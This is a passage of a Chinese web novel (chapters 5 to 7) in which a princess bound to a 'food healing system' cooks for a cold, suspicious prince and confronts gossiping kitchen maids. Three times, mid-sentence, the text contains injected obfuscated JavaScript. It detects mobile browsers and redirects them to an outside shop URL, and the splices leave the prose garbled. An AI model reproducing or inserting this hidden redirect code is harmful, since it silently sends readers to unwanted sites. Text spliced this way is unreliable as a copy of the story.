谢怀昀看着她,才发现她嘴角有一颗小小的梨涡,浅浅的,随着她嘴角的弧度展开缓缓荡漾开来。 他有些不解,常安宁这般讨好自己到底是为了什么?他自认为自己的态度很明确了,常安宁只要不是个傻子也该明白他对她的不耐和厌烦。 无事献殷勤,非奸即盗。常安宁身份又是如此特殊,他不得不防。 谢怀昀目光紧锁着常安宁的眼睛。他的目光直白又锐利,似乎想要通过射穿常安宁的皮囊来探究清楚她的内心,猜透她的真实目的。 常安宁注意到了,下巴微抬,露出一截脖颈,毫不胆怯地与他对视,眼睛宛如一汪春水,澄澈干净,似乎什么想法都清清楚楚地摆在明面上。 谢怀昀目光落在她脖子上的伤疤上,想到了什么,而后淡淡收回视线,看向石板上还未处理的血迹,一字一句道:“公主是听不懂人话吗?本王说不喝。” 常安宁:“……” 常安宁微低着头,正在思索着该什么说才能让谢怀昀的态度软化些。她不擅长人与人之间的客套,也从不强求别人接受她的好意,她只需要把自己的好意释放出去,接不接受那就是别人的事了,她管不着。 可谢怀昀不一样。但软的他不吃,硬的她做不来,常安宁拿他没办法。 她还未说话,又听谢怀昀说道:“公主的这一头秀发乌黑浓密,可得好好爱惜才是。” 谢怀昀正盯着她的鬓发看,常安宁的头发漆黑如墨,垂顺丝滑,不知是有意还是无意,她的鬓边缀着几朵杏花,清丽脱俗。 他饶有兴致地找寻着前几日故意削断的头发,估计是被好好地藏起来了,他一时也找不到痕迹。 常安宁猛地抬头,重新看向谢怀昀,一抹雪白随着她的动作慢悠悠地飘落,最后掉在血污当中。 她听懂了谢怀昀话里的暗示,他在提醒她。 上次来找谢怀昀,常安宁损失了好些根头发,心疼得不得了。她向来宝贵自己的头发,在现代时便精心打理,细心呵护,而原主的头发发质更好,发量更多,她更加舍不得受到一点损伤。 常安宁认命似的在心里叹了口气,帮谢怀昀治好厌食症这事急不得,她得慢慢来,先取得谢怀昀的信任才好开展任务。 “可惜了,”常安宁说,“既然王爷不想喝,那我就不勉强了。等以后我做了其他的新鲜吃食再带给王爷尝尝。” 她上前两步,拉近了和谢怀昀的距离,身上的那股香气更加浓郁,混合着院中还未散去的血腥气味,突兀又怪异。 谢怀昀闻着这交杂在一起的味道,只觉得令人作呕,眼中闪过一丝不耐,脸色比刚才沉了几分,开口道:“公主这是熏的什么香?难闻死了。” 说完,他掏出怀里的帕子捂住了口鼻,闷声道:“离本王远些,还有下次来见本王不准熏香。” 常安宁:“……” 她真是冤枉啊!她压根就没有用香的习惯! 常安宁深吸一口气,克制住想翻白眼的冲动,轻声道: “王爷冤枉我了,我没有熏香,衣服也没有熏香。王爷可以请太医来看看是不是鼻子出现了什么问题,不然怎么会无中生有闻到难闻的气味呢。” 她眉头微蹙,一副为谢怀昀担忧的模样,语调轻柔,但话里的阴阳怪气怎么都掩饰不住。 谢怀昀听出来她话里的意思,没有就着这个话题聊下去,而是默默后退几步,拉开了两人的距离,道:“以后和本王说话,不许隔得这么近。” 常安宁:“……” 她咬了咬后槽牙,挤出一个笑,说:“好,一切都听王爷的。” 她不想再跟谢怀昀进行无意义的辩论,直言道: “王爷,我有一个不情之请。我想负责王爷的三餐,以后王爷的饭食都由我做好送来好不好?”常安宁歪了歪头,笑得人畜无害。 谢怀昀怔了一下,没想到她竟然会这样说。他放下手中的帕子,上下打量着她,道:“宁远公主,你到底有何目的?” 又被当成居心叵测的小人了。常安宁欲哭无泪。她能有什么目的啊?要不是她的味觉和谢怀昀死死绑在一起,她至于这么卑躬屈膝吗?谢怀昀打她个巴掌,她还得笑嘻嘻地把另一边脸贴上去。 一阵风吹过,吹起空中的毛絮,常安宁的鼻子有些痒,用力揉了揉,再松手时,白皙的鼻头瞬间红了一片。 她抬起头,认真地看着谢怀昀,声音有些闷,反问道:“我能有什么目的呢?单纯地对一个人好需要理由吗?” 她又说:“再说了,王爷是我的夫君,照顾你是我的职责,为你准备一日三餐是我分内之事。而且,我的手艺也不差。” 虽然她的确是别有用心,但这并不会伤害到任何人,反倒是谢怀昀占尽了便宜,享到了好处。 “宁远公主还真是牙尖嘴利,你以为本王会信你这套说辞吗?”谢怀昀目光沉沉地看着她。 常安宁依旧在笑,纠正道:“王爷,我这不叫牙尖嘴利,我这叫人美心善。” 虽然谢怀昀对她不好,但她以德报怨不跟谢怀昀计较,尽心竭力地帮他,可不是人美心善的表现吗? 谢怀昀:“……” 常安宁福了福身,柔声道:“信不信是王爷的事,做不做是我的事,王爷若是不放心我,找人盯着我便是。” “我行得正,坐得端,问心无愧。” “王爷不说话我就当王爷同意了,明日起我便开始给王爷送餐,王爷若是有什么想吃的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480882|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遣人来和我说一声便好,我会尽力满足。” 常安宁也不等他发话,自顾自说完就走了。反正无论他的回答是什么,这饭她都送定了。 回到落云院,常安宁坐在摇椅上,仰头望天,她低估了系统任务难度,早知道不那么轻易接受了。 放弃的话,味觉永失,不放弃的话,道阻且长,这种进退两难的局面真让人无奈。 不过人心都是肉长的,谢怀昀若是发现她并没有二心,而是单纯地对他好,应该会有所触动吧?慢慢卸下心防。 还未想明白,春早喊了她一声:“公主,奴婢还给您留了碗奶茶,您现在可要喝?” 刚在清竹院跟谢怀昀费了大半天口舌,这时候她还真有点渴,常安宁笑道:“好,辛苦春早了。” “公主说的什么话,伺候您是奴婢的本分,公主亲手做了这么好喝的奶茶才是真的辛苦了。”春早笑盈盈地将奶茶端过来。 常安宁捧着碗闭着眼睛小口小口地喝着,虽然尝不出来什么味道,但闻着香味,她靠着想象把奶茶喝得干干净净。 甜而不腻,口感醇厚,好喝! 奶茶粘稠,沾在她的嘴边,唇周的细短小绒毛都挂上了褐色的液体,多了几分搞怪的可爱。 一碗奶茶下肚,常安宁胃里暖暖的,刚想起身进屋便听院里的小丫鬟禀报:“王妃,周嬷嬷来了。” 周嬷嬷?常安宁在脑子里搜了一圈也没搜到这个人,想来是没见过。 既然没见过,她来干什么? 虽然心里疑惑,但她还是道:“请进来。” 不多时,一位穿着低调的中年妇人进来了。周嬷嬷看起来约莫四十出头,脸上施了一层淡淡的脂粉,气色极好,气质温和,偏偏一双眼睛锐利狭长,又多了几分精明市侩的气息。 周嬷嬷行了一礼,道:“老奴见过王妃。王妃初来乍到,对王府众人还不熟悉,老奴是王爷的乳母,自小陪着王爷长大的,王妃唤老奴周嬷嬷即可。” 常安宁让人上座赐茶,笑着静静观察着她,猜测着她的来意,见周嬷嬷没有表现出半分的傲慢和无礼,只是默默地喝着茶,便没主动开口。 周嬷嬷也在打量着她。 常安宁长相温婉可人,嘴角带着得体的淡淡笑意。周嬷嬷混迹宫中多年,见人无数,她自诩有双识人的慧眼,看得出常安宁是个温柔乖顺的性子。 这位异国公主不远万里来大夏和亲,被王爷冷待、无视也没有任何怨言,是真的性子软和好拿捏?还是隐忍蛰伏藏拙呢? 周嬷嬷定了定神,说道:“本来前些日子就该来给王妃请安的,可谁叫我这身子不争气,病了大半个月才好,还请王妃莫要怪罪。” “嬷嬷言重了,请不请安不是什么大事。嬷嬷养好身体才重要呀。”常安宁笑着说,不来请安她还自在一些。 周嬷嬷不再多言,从袖口里掏出来一个陶瓷做的圆形盒子,道:“王妃,老奴见你脖子上有伤,不知可严重?是否已经用了去疤痕的药?” 常安宁下意识地摸了摸,伤疤凸起,有些剌手,她说道:“劳嬷嬷挂念,这原本就是小伤,不碍事的。” 周嬷嬷把药放在案几上,往她的方向推了推,道:“这是宫里专门研制的去疤痕的玉凝膏,女子的皮肤娇贵,合该好好保养才是。王妃的脖子纤长细嫩,要是留疤了可太可惜了。” 常安宁讶异,这周嬷嬷当真是观察入微,她特意穿立领衣裳遮挡伤痕,没想到还是被她发现了。 只是,她俩第一次见面,周嬷嬷怎么就这么巧地把玉凝膏带在了身上呢? 5. 第 5 章 周嬷嬷走后,常安宁懒散地倚靠在软垫上,右手把玩着这一小盒玉凝膏。 宫里的东西自然是极好的。陶制的外壳触感温凉,上面绘有彩色的花鸟图案,淡雅脱俗,里面的膏体质地细腻柔和,闻起来有一股淡淡的花香味。常安宁大拇指无意识地摩挲着盖顶凸起的纹路。 谢怀昀的脾气又臭又硬,不好接近,他的乳母倒是和善可亲,温柔细致。 常安宁接受了周嬷嬷的好意却并没有放下戒心。周嬷嬷是谢怀昀的乳母,自然是站在他那边的,立场与他保持一致。 可谢怀昀不待见她,周嬷嬷却特地来向她请安并且给药,怎么想怎么奇怪。 是敌是友尚未分明,她不能掉以轻心。 想到了什么,常安宁坐直了身体,歪头问道:“春早,你闻闻我身上有香味吗?” 说着,她站起了身,在春早面前慢动作地转了一圈。 春早屏气凝神,猛吸一口气,眼睛亮亮的,道:“有呀,公主身上有一种很好闻的香味。” “就像……”春早停了下来,皱着眉绞尽脑汁地在脑子里搜寻合适的形容,“唉,奴婢也说不上来是什么香味,反正很好闻就是了,清新怡人,很符合公主的气质呢。” 常安宁看着她没接话,春早对她忠心耿耿,眼里只有她一个人,用现代一点的话来说,春早就是她的死忠粉,在她心里,常安宁哪哪都好,是世上最好的人,哪怕她身上是臭的,春早也觉得是香的。 春早又说:“公主平日里没有用香的习惯,身上却又这般香,奴婢觉得公主一定是体质特殊才会如此,说不定公主是天上掌管百花的百花仙子呢,整日与鲜花打交道,沾染香气,此番下凡历劫,保留了身上的香气。” 被人夸赞是一件非常令人开心的事情,常安宁也不能免俗。她乐不可支地看着她,说道:“春早,你这想象力不去写话本子真是太可惜了。” “公主惯会打趣奴婢,奴婢哪有那个本事啊,”春早抿了抿唇道,“奴婢不想写话本子,奴婢只想待在公主身边,好好伺候公主。” 她的话让常安宁的心里暖暖的,整颗心仿佛泡在了温水中,潮湿又柔软。 她又联想到了谢怀昀的话。春早说这香气好闻,谢怀昀却说难闻,臭男人讲话果然不中听,不懂得欣赏,粗人一个。 常安宁懒得和他一般见识,反正她并不需要靠取得他的欢心过活,她需要的是他放下戒心,允许自己的接近。 门帘轻晃,珍珠串成的条条珠链错落相击,霎时间,细碎清响在这寂静温馨的内室里铺展开来。 春茗站在门边,脸上带着几分疲惫和倦意,嘴唇发干,皲裂起皮,可见是累得很了。 “春茗,你吃饭了吗?”常安宁问道。 春茗摇摇头,道:“公主,李姑娘……”刚起了个话头,便被常安宁打断了:“你先去吃饭吧,忙活了大半天你也辛苦了,剩下的事等吃饱喝足了再谈,不急在这一时。” 常安宁向来秉持着人不犯我我不犯人的原则,她与李冰月无冤无仇,甚至只是一面之缘,对方却想要她的命,无故害她。她可没有善良博爱到别人伤她、害她都能大度地不计较,轻巧地揭过。 在刚得知这个消息时,她也曾愤怒过,感慨人心险恶,万事无常,想着李冰月就算是死了也是死有余辜,谢怀昀做的是替天行道的好事。可她毕竟是个现代人,现代的文明和规则早已深深植入她的骨子里了,她实在是没办法做到无动于衷,眼睁睁地看着李冰月被打死。 她也不忍心看着李冰月血染满身、断气而亡的场面,动了恻隐之心,最终心中的怜悯盖过了怒火,救下了李冰月。 春茗吃过饭后,简单梳洗了一下,向常安宁汇报了李冰月的情况。 春茗跟随常安宁多年,自然明白她的想法,替她安排好一切,尽力保住李冰月的命。 “公主,王爷丝毫没有顾念旧情,李姑娘伤得极重,但她是个命硬的,灌了几副汤药下去,如今已是能喘气了,大夫说熬过今夜便无碍了,以后仔细用药,好好休养便能恢复。” 春早在一旁气愤填膺道:“什么命硬,分明是公主心善,要不是公主拦下了剩下的板子,她不一定有命活!” 她虽没去现场,但听春茗的描述气得火冒三丈。常安宁温柔善良,素来与世无争,李冰月却要害她性命,死不足惜! 春早继续道:“就单凭谋害公主这一条,李冰月都能死个上百次,小小年纪心思竟然如此歹毒!” 她看向常安宁,道:“公主,您可千万不能将她留在府中啊!她指不定什么时候又要谋害公主,这简直是养虎为患,可得当心啊!” 她说的这些常安宁都明白,关于李冰月她自有考量,只是她如今伤势严重,此刻将她赶出府她指不定有没有命活。等她伤好了,再做打算吧。 她也挺好奇李冰月的动机的。 翌日清晨,常安宁起了个大早,准备给谢怀昀准备早饭。 看着系统面板上的空白任务进度条,她内心叹了口气。这1000幸福值也不知道何时才能攒够,吃什么都尝不出来味道,真是太让人崩溃了! 春早见她这么早便醒了,很是讶异,道:“公主今日怎醒得这般早?” 常安宁有气无力地说道:“睡不着了。” 洗簌完毕,穿戴整齐后,常安宁便一头扎进了小厨房。 系统只给她提供了谢怀昀的口味喜好,对吃什么并没有做出指示,她发挥的空间还是蛮大的。 想着谢怀昀有厌食症,对食物提不起兴趣,估计许久没有吃饭了,肠胃变得脆弱,她准备做些简单、清淡的饭食。 她本来想做小米南瓜粥的,问了一圈才得知这个朝代没有南瓜。所幸,有山药,虽然没有南瓜甜,但是口感软糯,也适合煮粥。 她将切成小块的山药放入砂锅中,再倒入小米,小火慢炖着。趁这个时间,她将其他的菜切好,码进盘子里,只等粥熬好后开始炒菜。 再打开锅盖时,奶白的山药炖得软烂,勺子轻轻按压便丝丝缕缕地融化了,混合着小米一同融化在米汤里,软烂粘稠。想着谢怀昀喜欢吃甜的,她又撒了点糖进去,盖上锅盖继续捂着,反正粥只要不糊底,越煮越好喝。 她还准备做道蒸蛋和素炒白菜。 常安宁在碗中打了三个鸡蛋,按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480883|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比例又加了些温水进去,用筷子搅拌均匀,无奈现在没有味觉,她只能凭借经验加盐,让春早帮忙尝尝盐味。 春早并没有疑惑常安宁为什么不亲自品尝,只点头说正好。 撇去蛋液表面的浮沫,常安宁将碗放进锅里,一旁的沙漏计着时,趁蒸蛋的功夫,她又将备好的白菜倒进热锅里翻炒。 白菜容易熟,锅铲翻滚几下便逐渐软化,噗嘟噗嘟地往外吐水,常安宁没有加别的调料,只撒了一点点盐,最大限度地保留白菜的清甜味道。 等白菜出锅,蒸蛋也好了,色泽鲜亮,黄澄澄的,鲜嫩无比,没有一丝气泡,只简单淋了点酱油跟香油,香气扑鼻。 春早帮忙把菜装进食盒里,常安宁在春茗的服侍下换了身衣服便去了清竹院。 刚走到院门处,常安宁便看到了谢怀昀的身影。 男人一身月白色劲装,裁剪得当的衣服清晰地勾勒出他的宽肩窄腰,长发用银冠高高竖起,迎着晨光朝着常安宁的方向走来,脚步沉稳,风度翩翩。 许是晨光温柔,打在谢怀昀的面上,使其身上的肃杀之气褪去二三分,罕见地多了些温润,常安宁瞧着他的模样,有些恍惚地眨了几下眼。 不得不承认,抛去谢怀昀的臭脾气和坏行事,他皮囊俊秀,极具欺骗性和诱惑力,单站在那里还挺赏心悦目的。 谢怀昀也看见了常安宁,余光瞥到了春茗手里提着的食盒,昨日常安宁的话跃进脑海里。 常安宁抬眸与他对视,男人的眼眸漆黑,沉沉地压过来,不带一丝温度,瞬间将她心里飘起来的那点子旖旎心思打回原形。 她定了定神,扬起一个恰到好处的笑容,走上前去,行礼道:“王爷,您这是要去哪呀?” 谢怀昀原以为昨日她是说着玩的,并没有放在心上,没想到她竟然行动力这么强,说到做到,但这一点都不影响他不喜欢她。 他眯起眼睛,压低声音,阴恻恻地问道:“公主是忘记本王说过的话了吗?” “如果公主不记得,本王倒是可以好心提醒一下。”说完,他从护腕夹层里掏出来一把薄刃匕首。 匕首做得短而小,藏在护腕里也不容易发现,谢怀昀将它拿在手里,太阳光照在寒刃上,折进常安宁的眼里,灼得她瞳孔刺痛。 常安宁:“……” 她知道谢怀昀的意思,尴尬地笑了笑,连忙往后退,待在安全的社交范围内,说道:“王爷别生气,我不靠那么近就是了。” “王爷用过饭了吗?我亲手做了几道清淡小菜,王爷可要尝尝?” “本王不吃,”谢怀昀盯着她,放狠话道,“你不必如此讨好我,就算你再怎么貌美、再怎么温柔、再怎么贤惠,本王都不可能与你亲近,更别说喜欢上你。” 常安宁呆呆地听完,眨着眼睛,睫毛忽闪忽闪的,安静下来,看起来像是被谢怀昀的话给震慑到了,死心了。 谢怀昀神情冰冷地睥睨着她,下巴微抬,像只高傲的仙鹤。 常安宁好半晌才回过神来,歪头看着他,眼里盛满了温柔水光,笑道:“原来我在王爷心里的形象这么好,长相貌美又温柔贤惠啊!” 6. 第 6 章 谢怀昀说的话相当直白难听,彻底地将自己的态度摆在了明面上,一点也不顾及常安宁女儿家的颜面。 他多次冷脸相待,恶语相向,但凡要点脸面的人都会知难而退,识趣地不来打扰。 常安宁不是脸皮厚的人,但她是真的没办法接受一辈子都尝不出来味道,她不想就这样寡淡地过一生,酸甜苦辣咸每一味都是她生活中必不可少的调味品,缺一样都构不成她现在的经历。 她是可以现在就一死了之,放弃任务,把所有美好的关于味道的记忆都保留在有味觉的时候。 但是她不想死,她还没活够。 所以,无论谢怀昀的态度有多恶劣,她都要迎难而上。 谢怀昀怔了下,没料到常安宁的关注点竟然是他对她所表现出来的样子的评价,颇为无语地牵起一边嘴角,急切地否认道:“本王没在夸你。你不要自作多情。” 他急于撇清关系,澄清事实,连最基本的客套与疏离都抛却了,都不称呼常安宁为“公主”了。 常安宁知道现在她无论说什么,谢怀昀都不会相信,她只能装傻充愣,挑些无关紧要的话来回复,借此打消他的疑虑。 常安宁轻声叹气,将头往下低了低,垂眸盯着谢怀昀的脚尖,瞧起来有些失落,嘟囔道:“好吧。我还以为王爷是真心夸赞我呢,白高兴一场。” 她的声音又轻又小,被风裹挟着,轻轻一吹就消散了,但谢怀昀还是灵敏地捕捉到了,再次将目光落在她的身上。 少女今日穿着一身浅粉罗裙,裙摆绣着一圈素白菡萏,针脚细密,层层叠叠,似是风一吹便要轻轻舒展,长发高绾,斜簪着几支粉白珠花,鬓角垂落两缕青丝,在晨风里微微飞扬,此刻垂首而立,身姿温婉,恰如风中半折的荷,惹人怜惜。 谢怀昀看她这样,心里闪过一丝自己都没察觉的别扭情绪,刚想开口说点什么,就见眼前人再次抬起了头,道: “王爷,我知道无论我说什么你都不会相信的,但我还是想告诉你,我对你从无恶意,你是我的夫君,我只是想在能力范围之内对你更好一些。” “王爷公务繁忙,朝堂之事也不是我能插手过问的,只能在这些日常琐事中尽自己的一份心意。” “我也并不会做任何伤害大夏的事情。战场凶险残酷,国家动荡混乱,百姓流离失所,这并不是我想看到的结果。”常安宁直视着他,黑白分明的眼睛里写满了坚定,“我希望社稷安稳,全天下的人都能够过得开心,过得幸福。” 常安宁知道谢怀昀将她视为间谍,严防死守,生怕她做出什么有损大夏的事情来。这是他作为大夏的长衡王应尽的职责和义务,无可指摘。 但他完全是多虑了。 常安宁从未有过这种想法,她被送来和亲,就已注定了成为大梁的弃子。 大梁那边早已将她放弃,根本不会在乎一个和亲公主的生死,她只是一个用来粉饰太平的工具,一个象征和平的吉祥物。 谢怀昀听着她的剖心之言,神色平静,也不知是信了还是没信,一时没有说话。 常安宁没有强求谢怀昀今日一定要有所反馈,识趣地告退:“既然王爷还有要事处理,我就先不打扰了。等午膳时间到了我再过来。” 说完,她转身就走了,没有回头再看一眼谢怀昀。 春早拎着食盒,回想着刚刚的一幕,小声道:“王爷真是的,公主辛辛苦苦做的早膳他竟然看都不看,也不说两句宽慰的话,一点人情味都没有。” 常安宁没觉得这有什么,只提醒春早道:“春早,小心隔墙有耳。现下我们还在外面,没回到自己院子里,有些话是不能说的。” 闻言,春早捂着嘴,四处张望着,见一个人影都没有,这才放下心来。 “公主,那这饭菜怎么办?”春早说,“就这样丢了多可惜啊。” “是啊,丢了多可惜啊,”常安宁重复她的话,说道,“浪费粮食是一件可耻的事情,所以我们带回去自己吃。” 小米山药粥熬得时间久,冷凉的间隙表面结了一层清透漂亮的米油,蒸蛋入口爽滑,白菜软烂清甜,搭配在一起,养生又开胃。 常安宁坐在饭桌边,虽然味觉失灵,但是眼睛盯着清新的颜色,鼻子嗅着清浅的香味,两种感官相互配合着,再调动着往日的记忆,想象着食物入口的味道,吃得也是津津有味。 想象的味道都能这么好,不敢想,要是味觉真恢复了,这饭菜该有多好吃。 吃完早饭,“叮咚”一声,系统又上线了。 “检测到宿主已经开始了行动,这是一个很好的开端哦,特地上线给与表扬,希望宿主再接再厉,坚持下去。” 常安宁:“……” 表扬有什么用?不给她奖励点有实际效用的道具,净给些没用的。 常安宁在心里默默吐槽,问道:“系统,谢怀昀不愿意吃我做的饭,也抗拒我的接近,你那有没有什么道具可以让他放下戒心信任我?愿意吃饭?” 她想走点捷径,却被系统无情制止: “宿主想都不要想,我是美食疗愈系统,重在‘疗愈’二字,首要原则就是尊重任务对象的意愿,要是使用道具使其违背自己的想法,这有违人道主义,是对个人权利和情感的抹杀,因此严格禁止!” “奉劝宿主还是脚踏实地,用爱与真情打动任务对象,唤醒任务对象对美食的热爱。” 常安宁无语地撇了撇嘴,生无可恋地道:“这1000幸福值我什么时候才能攒满啊。” 系统安慰道:“宿主别灰心。每天完成固定任务也是可以获得幸福值的,比如任务一的任务是为谢怀昀准备一日三餐,每餐能获得10点幸福值,三餐就能获得30幸福值。” “任务难度越大,获得的幸福值越高哦!比如说任务二是20幸福值,任务三是30幸福值。” “今日任务一宿主已完成三分之一,10点幸福值已发放,”系统又贴心地补充道,“宿主当前有了幸福值具备消费能力,现下系统商城已开放,宿主可以用幸福值在系统商城购买食材、调料和餐具,应有尽有,宿主可以尽情选择!” “如果我买了东西,我的幸福值还是原数吗?”常安宁问道。 “宿主,你在想什么呢?天下哪有这么好的事!买多少扣除多少幸福值哦!”它强调道,“小本生意,概不赊账哦!” 常安宁:“……” 这系统还真是奸诈啊!开放系统商城还得等她有幸福值,刚获得的幸福值还没捂热呢,它就想法收回去。 她才不会上当,这些幸福值她要好好攒着,在味觉恢复之前绝不消费一笔。 常安宁粗略地算了下,任务二跟任务三目前对于她来说难度有些大,暂时先不考虑,只做任务一的话,坚持下来每天30幸福值,攒够1000要一个多月。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480884|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 比她预想的要快一些,再坚持一个多月,她就能重获味觉了! 为谢怀昀准备一日三餐不是什么麻烦的事,毕竟在现代,常安宁天天都自己做饭,一餐不落,眼下就是多个人多添双筷子的事。 系统下线后,常安宁带着春早,去了一趟王府厨房。 常安宁远远地瞧见厨房院里的槐树底下围坐着一圈人,被众人包围在中间的丫鬟瞧着年纪不大,五官秀气,也不知在讲什么,眉飞色舞,其他人听得专注。 阳光透过槐树枝桠间隙洋洋洒洒地在地上投下许多光斑,风一吹,光斑便跳跃到了每个人的脸上,神情是那样生动明媚。 这番其乐融融的氛围感染了常安宁,她心情愉快,想要加入其中,可惜碍于身份不能这样做。 常安宁不愿扰了这安宁祥和的氛围,放缓步子走近,丫鬟们的谈论声逐渐变大,清晰地传进她的耳中。 “咱们王妃日日都往王爷跟前跑,殷勤地送汤送饭,可王爷却连个好脸色都没给她。王妃又如何?不得王爷喜爱地位连咱们都不如。”中间的丫鬟边说边拿出帕子捂着嘴咯咯地笑,嘲讽之意溢于言表。 春早气得脸色通红,胸膛剧烈起伏,她说:“公主,这丫鬟太过分了,竟敢公然搬弄您的是非,奴婢这就去撕烂她的嘴!” 常安宁面色如常,安抚地拉了拉她的胳膊,轻声道:“再等等。” 王府家大业大,厨房也配备了许多人,底下人目不识丁,见识短浅,聚众聊个闲话,讲个八卦,这是再正常不过的事情。 常安宁也知道王府下人会背地里议论她,她还记得春早就因这事哭过。 头一次亲耳听见他人议论自己,常安宁却不生气,反而有些好奇。她倒要听听这些人是怎么说她的,到底有多难听。 这时,有个圆脸的丫头说道:“桃红姐姐,王妃身份尊贵,王妃与王爷之间的事情岂是我们这些做下人的能够议论的,要是传到王爷王妃耳中便不好了。你少说两句。” 桃红不以为意,“切”了声,道:“死元姜,你不听就滚蛋,别在我跟前碍眼。还有,你少拿王爷说事,王爷日理万机的,又不待见王妃,哪怕听到这些闲话也不会在意的,至于王妃,谁把她当回事啊?!” “她也就是占了个出身好,有资格成为咱们王爷的正妻,”桃红说着说着就陷入了感伤中,“论相貌论身姿我哪里都不比她差,可惜我出身低微,只能在这府里当个最低等的丫鬟,连王爷的面都见不上,要是有幸得见王爷,王爷定会为我倾倒,让我做个妾留在他身边。” 其他女孩纷纷附和道:“是呀,桃红姐姐长得这般美,身段又这么好,哪怕是侧妃也是做得的,只可惜在这出身上了。” 元姜听着桃红的幻想与野心,只觉得她疯了,再也听不下去了,站起身来道:“桃红姐姐,你真是越说越离谱,人贵在有自知之明,你这般迟早会为自己惹来祸事!” 说完,她又看向其他人,道:“还有你们也真是的,不拦着点也就算了反而还附和着,你们可知这话若是传出去了后果有多严重?!你们想害死她不成?!” “瞧你这话说的,多大点事呀,元姜,你若不乐意听就赶紧走吧,反正我们也不稀罕你在这里。” “就是就是,赶紧走吧!” 驱赶声越来越大,元姜再也忍不了了,气呼呼地转身就要走,正好与站在门口的常安宁四目相对。 7. 第 7 章 常安宁面色平静,眼神无波无澜,既没有听见他人说自己坏话的愤怒,也没有被他人撞见偷听墙角的尴尬,表现得像是个局外人。 元姜没料到身后不远处有人,触不及防之下与人对视略显局促,手都不知道该往哪摆,呆愣愣地看了常安宁一会儿后才发觉不妥,连忙低头行礼。 常安宁深居后院,很少出门,元姜又是厨房的低等丫鬟,平日里的活动范围也就厨房这一片,根本没有资格进入主子们的院内,是以,她没有见过常安宁。 她不知道常安宁的身份,但看她穿着打扮精致不俗,气质不凡,便知其身份尊贵,不是她们这些人能够得罪的,却还是忍不住偷瞄她,惊叹于她的长相。 她还是头一次见到如此貌美的人物,皮肤白如凝脂,眉如远黛,最动人的当属那双眼睛,看向人时温柔沉静,有一种清透的淡然,给人一种包容万物的安定感。 众人也循着元姜的目光看过来,常安宁来得突然,她们还未从刚刚的口舌之争中反应过来,一时忘记了行礼。 常安宁没在意她们的失礼,只是淡淡地看着她们。 春早心中积压的火气在此刻爆发,沉声道:“一个个的见了王妃也不知道行礼,管事嬷嬷就是这样教导你们的吗?!” 此话一出,犹如晴天霹雳,丫鬟们连忙低首敛眉,恭敬行礼,大气都不敢出,生怕常安宁发火动怒,殃及自身。 心里却又忍不住思索常安宁的来意,主子们顾及着自己的身份,一向不会踏足厨房这些烟火气深重的地方。 常安宁身为王妃,一言一行皆代表着皇家的体面,她为什么会来厨房?更令她们好奇的是她是什么时候来的?要否听到了方才她们的冷嘲热讽? 要是听到了,她们就惨了,毕竟这可是大不敬之罪! 桃红更是心惊胆战,春日阳光照在身上本该暖融融的,可她却像是置身在冰天雪地之中,心头覆上一层寒霜,额头因紧张渗出好些汗珠。 她不但说了常安宁的坏话,她还表明了自己想上位的野心! 天底下哪个女人能允许他人觊觎自己的夫君? 这次,她恐怕是在劫难逃。 当时她对元姜的话不以为意,没想到这么快就为自己招来了祸事,迎来了报应。 常安宁弯了弯唇角,道:“都起来吧。” 若是没有刚刚那一出,大家就起身了,但现在摸不清楚常安宁的意思,一时间,大家噤若寒蝉,没人敢站起来。 春早出声道:“王妃叫你们起身,一个个还不赶快起来,去把你们的管事嬷嬷叫来。” 有眼力见的丫鬟为常安宁搬来了椅子放在檐下阴凉地,常安宁也不客气直接坐下了,视线从眼前这一排女孩们面上扫过去。 桃红说的话虽然不好听,但常安宁并没当回事儿。嘴长在别人身上,他人的想法她也没办法干涉,这些八卦闲谈,她只觉得无聊,若是因为这些生气发火,不值,而且还会显得她心胸狭隘。 更何况,她如今是王妃,虽然有生杀予夺的权力,惩戒桃红也就是一句话的事,但王府自有一套规矩,这种事轮不到她来做。 她也不愿在这种事情上斤斤计较。 管事嬷嬷姓张,是个身材肥胖的中年妇女,头发梳得一丝不苟,听小丫鬟讲明了前因后果,几个眨眼的功夫心中便拿定了主意,但她也不能确定常安宁就是为了此事来找她的。 张嬷嬷脚步不停,不敢耽搁、怠慢常安宁,毕竟,常安宁再怎么不受待见,也是王府明面上的女主人。 张嬷嬷身子重,又来得急,到常安宁面前时喘着粗气,脸上堆出一个讨好的笑,眼睛眯成了一道缝,道: “不知王妃大驾光临,老奴有失远迎,还请王妃恕罪。” “嬷嬷言重了,”常安宁端起为她准备的茶水,一下又一下地用杯盖拂去热气,漫不经心道,“我也没什么事,就是突然想来这里看看。” 张嬷嬷拿出帕子攒了攒额上不存在的汗液,并不信常安宁的这套说辞。 